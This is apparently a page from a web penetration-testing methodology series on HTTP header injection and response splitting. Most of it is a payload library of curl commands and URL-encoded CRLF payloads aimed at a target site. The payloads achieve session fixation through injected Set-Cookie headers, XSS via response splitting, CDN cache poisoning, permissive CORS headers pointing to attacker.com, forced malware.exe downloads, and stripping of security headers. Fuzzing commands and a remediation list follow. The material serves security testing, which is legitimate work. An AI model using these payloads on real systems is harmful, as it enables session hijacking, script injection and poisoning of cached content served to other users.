HTTP Header Injection / Response Splitting
Severity: High | CWE: CWE-113, CWE-74 OWASP: A03:2021 – Injection
What Is HTTP Header Injection?
HTTP header injection occurs when user-controlled data is inserted into HTTP response headers without proper sanitization. CRLF sequences (\r\n / %0d%0a) terminate the current header and inject new ones — enabling response splitting, cache poisoning, session fixation, and XSS via injected HTML body.
Vulnerable redirect:
Location: https://target.com/redirect?url=USER_INPUT
Injected input: attacker.com\r\nSet-Cookie: session=EVIL
Response becomes:
HTTP/1.1 302 Found
Location: https://target.com/redirect?url=attacker.com
Set-Cookie: session=EVIL ← injected new header
Response Splitting (HTTP/1.1): inject \r\n\r\n to terminate headers and start injected body:
Location: x%0d%0aContent-Length: 0%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0a...
Discovery Checklist
Phase 1 — Find Injection Points
- Find redirect parameters that appear in
Location:header - Find user-input reflected in
Set-Cookie:,Content-Disposition:,Link:headers - Find download/file-serve endpoints: filename in
Content-Disposition - Find CORS-reflected Origin in
Access-Control-Allow-Origin - Find any custom header echoed back from request (X-Request-ID, X-Correlation-ID)
- Find error pages that reflect URL or path into headers
Phase 2 — Test CRLF
- Inject
%0d%0a(URL-encoded CRLF) and check if newline appears in response headers - Inject
%0a(LF only) — some servers only strip\r\nnot\n - Inject
%0d(CR only) - Inject Unicode newlines:
%c8%a0(U+0220),%e2%80%a8(U+2028 LS),%e2%80%a9(U+2029 PS) - Test in cookie value:
Set-Cookie: pref=INJECTED - Test double URL encoding:
%250d%250a
Phase 3 — Escalate
- Inject
Set-Cookie→ session fixation - Inject
Locationin response body → XSS via response splitting - Inject
X-XSS-Protection: 0to disable browser XSS auditor - Inject
Content-Security-Policyto remove protections - Inject
Access-Control-Allow-Origin: *+Access-Control-Allow-Credentials: true
Payload Library
Payload 1 — Basic CRLF Detection
# Test Location header injection:
curl -sI "https://target.com/redirect?url=https://attacker.com%0d%0aX-CRLF-Test: injected" | \
grep -i "x-crlf\|location"
# LF-only injection (some servers):
curl -sI "https://target.com/redirect?url=https://attacker.com%0aX-Test: injected" | \
grep -i "x-test"
# In cookie parameter:
curl -sI "https://target.com/login?lang=en%0d%0aSet-Cookie: injected=value" | \
grep -i "set-cookie"
# In custom header reflection:
curl -sI "https://target.com/" \
-H "X-Request-ID: test%0d%0aX-Injected: yes" | \
grep -i "x-injected"
# Double encoding bypass (WAF decodes once, server decodes twice):
curl -sI "https://target.com/redirect?url=x%250d%250aX-Test: injected"
# %25 = %, so %250d = %0d after first decode → server gets %0d%0a
# Unicode line separators:
curl -sI "https://target.com/redirect?url=x%e2%80%a8X-Test: injected" # U+2028
curl -sI "https://target.com/redirect?url=x%e2%80%a9X-Test: injected" # U+2029
Payload 2 — Session Fixation via Set-Cookie Injection
# Inject Set-Cookie to fix victim session:
https://target.com/redirect?url=https://legitimate.com%0d%0aSet-Cookie:%20session=ATTACKER_CONTROLLED_VALUE
# Full attack:
# 1. Send victim this URL:
# https://target.com/redirect?url=https://target.com%0d%0aSet-Cookie:%20auth_session=FIXED_VALUE;%20path=/
# 2. Victim clicks → browser gets response:
# Location: https://target.com
# Set-Cookie: auth_session=FIXED_VALUE; path=/
# 3. Victim logs in with the injected session ID
# 4. Attacker uses auth_session=FIXED_VALUE → now authenticated
# Content-Disposition injection → force download of attacker content:
curl -s "https://target.com/download?file=report.pdf%0d%0aContent-Disposition:%20attachment;%20filename=malware.exe%0d%0aContent-Type:%20application/octet-stream"
# Set-Cookie with SameSite=None to bypass CSRF:
url=x%0d%0aSet-Cookie: csrf_token=KNOWN_VALUE; SameSite=None; Secure
Payload 3 — XSS via Response Splitting (HTTP/1.1)
# Inject entirely new HTTP response body:
# Target: GET /redirect?url=USER_INPUT → 302 Location: USER_INPUT
# Payload (URL decoded for clarity):
# url=https://x.com\r\n
# Content-Length: 0\r\n
# \r\n
# HTTP/1.1 200 OK\r\n
# Content-Type: text/html\r\n
# Content-Length: 39\r\n
# \r\n
# <script>alert(document.cookie)</script>
# URL-encoded payload:
PAYLOAD="https://x.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2039%0d%0a%0d%0a<script>alert(document.cookie)</script>"
curl -sI "https://target.com/redirect?url=$PAYLOAD"
# Note: response splitting is largely mitigated in HTTP/2 and modern servers
# but still relevant in HTTP/1.1 backends, proxy chains, and legacy apps
# Simpler XSS via injected Content-Type:
url=x%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
# If status code allows body → XSS
Payload 4 — Cache Poisoning via CRLF
# Inject headers that affect caching:
# Add: Cache-Control: public, max-age=86400 to a private response
url=x%0d%0aCache-Control:%20public,%20max-age=86400
# → Response now cacheable by CDN → other users get cached version
# Add fake headers to confuse CDN:
url=x%0d%0aX-Cache:%20HIT%0d%0aAge:%200
# Combine with XSS for persistent cache poisoning:
# 1. Inject Content-Type + body
# 2. If CDN caches it → all users get XSS response from cache
# Inject Vary header to prevent cache differentiation:
url=x%0d%0aVary:%20*
Payload 5 — CORS Header Injection
# Inject permissive CORS headers into a response:
url=x%0d%0aAccess-Control-Allow-Origin:%20https://attacker.com%0d%0aAccess-Control-Allow-Credentials:%20true
# If reflected in 200 response (not just redirect):
# Attacker.com can now make CORS requests to target.com and receive responses
# with victim's credentials
# Test if Origin is reflected:
curl -sI https://target.com/api/data \
-H "Origin: https://attacker.com" | grep -i "access-control"
# Inject via X-Forwarded-For → reflected in response header:
curl -sI https://target.com/ \
-H "X-Forwarded-For: 1.2.3.4%0d%0aX-Injected: test"
Payload 6 — Content-Disposition Header Injection
# In file download endpoints — inject to override filename/type:
https://target.com/download?filename=report%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
# Force HTML rendering via Content-Type injection:
https://target.com/api/export?format=csv%0d%0aContent-Type:%20text/html
# Inject Content-Disposition to change download filename:
filename=report.csv%0d%0aContent-Disposition:%20attachment;%20filename=malware.exe
# X-Content-Type-Options removal:
url=x%0d%0aX-Content-Type-Options:%20nosniff%0d%0a
# (removing nosniff allows MIME type confusion)
Payload 7 — Security Header Removal
# Remove XSS/clickjacking protections via injection:
# Disable browser XSS auditor (legacy Chrome):
url=x%0d%0aX-XSS-Protection:%200
# Remove CSP:
url=x%0d%0aContent-Security-Policy:%20
# Remove X-Frame-Options (enable clickjacking):
url=x%0d%0aX-Frame-Options:%20ALLOWALL
# Inject permissive CSP:
url=x%0d%0aContent-Security-Policy:%20script-src%20*%20'unsafe-inline'%20'unsafe-eval'
Tools
# crlfuzz — automated CRLF injection scanner:
go install github.com/dwisiswant0/crlfuzz@latest
crlfuzz -u "https://target.com/redirect?url=FUZZ" -t 50
# CRLFSuite:
pip3 install crlfmap
crlfmap -u "https://target.com/?redirect=" -w payloads.txt
# ffuf with CRLF payloads:
ffuf -u "https://target.com/redirect?url=FUZZ" \
-w /usr/share/seclists/Fuzzing/CRLF-Injection.txt \
-mr "X-CRLF-Test"
# Burp Suite:
# - Active Scan → Header Injection checks built-in
# - Intruder: inject CRLF payload list in URL parameters
# - Param Miner: discovers reflected headers
# - Use \r\n in match/replace for testing
# Manual CRLF payload list:
cat > crlf_payloads.txt << 'EOF'
%0d%0aX-Test: injected
%0aX-Test: injected
%0d%0a X-Test: injected
%0D%0AX-Test: injected
%e5%98%8a%e5%98%8dX-Test: injected
%e5%98%8aX-Test: injected
\r\nX-Test: injected
\nX-Test: injected
%250d%250aX-Test: injected
%u000dX-Test: injected
EOF
# Check response headers for injected values:
for payload in $(cat crlf_payloads.txt); do
result=$(curl -sI "https://target.com/redirect?url=$payload" 2>/dev/null | \
grep -i "x-test")
if [ -n "$result" ]; then
echo "[VULN] $payload → $result"
fi
done
Remediation Reference
- Validate and strip CRLF (
\r,\n,%0d,%0a) from all values used in HTTP headers - Use framework-provided redirect functions — never concatenate user input into
Location:header directly - Encode header values: URL-encode or percent-encode values when inserting into headers
- Reject newlines at input validation layer — block
\r,\n,%0d,%0a, Unicode line separators - HTTP/2 eliminates response splitting at the binary framing level — but backend HTTP/1.1 connections may still be vulnerable in proxy chains
- Allowlist characters for parameters used in headers: e.g., redirect URLs should only contain alphanumeric,
-,.,_,/,:
Part of the Web Application Penetration Testing Methodology series.